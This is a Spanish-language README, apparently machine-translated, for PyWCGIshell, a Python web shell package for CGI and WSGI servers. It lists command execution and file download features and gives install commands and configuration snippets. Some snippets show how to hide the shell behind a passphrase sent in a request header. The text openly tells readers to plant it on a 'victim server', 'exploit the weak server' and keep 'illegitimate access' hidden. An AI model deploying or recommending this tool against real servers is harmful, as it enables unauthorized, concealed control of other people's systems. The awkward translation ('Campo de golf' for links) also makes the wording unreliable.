PyWCGIshell

Pywcgishell

Descripción

Este paquete implementa una red web para el servidor CGI y WSGI.

Con este WebShell puede:

• Explorar directorios y descargar archivos
• Ejecutar líneas de comando (con historial de comandos)
• Mostrar información básica sobre el servidor de entorno
• Mostrar variables de entornos

Requisitos

Este paquete requiere:

• python3
• Biblioteca estándar de Python3

Instalación

pip install PyWCGIshell

Usos

Línea de comando

(La línea de comandos es útil para probar el webshell)

python3 -m PyWCGIshell wsgi # Try it in wsgi mode

Guión de pitón

Página de CGI

 from PyWCGIshell import WebShell

def my_default_cgi_page ():
	print ( "Content-type:text/plain; charset=utf-8" )
	print ( "" )
	print ( "Hello World !" )

webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run ()

Página de WSGI

 from PyWCGIshell import WebShell

def my_default_wsgi_page ( environ , start_response ):
    status = '200 OK'
    headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
    start_response ( status , headers )
    return [ b"Hello World !" ]

webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function 

Opciones de WebShell

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run ()

No recomiendo usar method como pass_type para ocultar su WebShell.

Puede usar una configuración similar para ocultar su webshell.

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run

Para usar este webshell:

• Configurar (tipo de servidor, frase y ubicación de frase de pases) y copie el código webshell o instálelo
• Pételo en la página predeterminada del servidor de víctimas o importarlo
• Envíe una solicitud con la frase de pases y explote el servidor débil

Ejemplo

Instale y configure Pywcgishell en WebScripts para mantener su acceso ilegítimo y ocultarlo (el repositorio está aquí).

WebShell en WebScripts - YouTube

Campo de golf

• Página de Github
• Documentación
• Paquete PYPI

Licencia

Licenciado bajo el GPL, versión 3.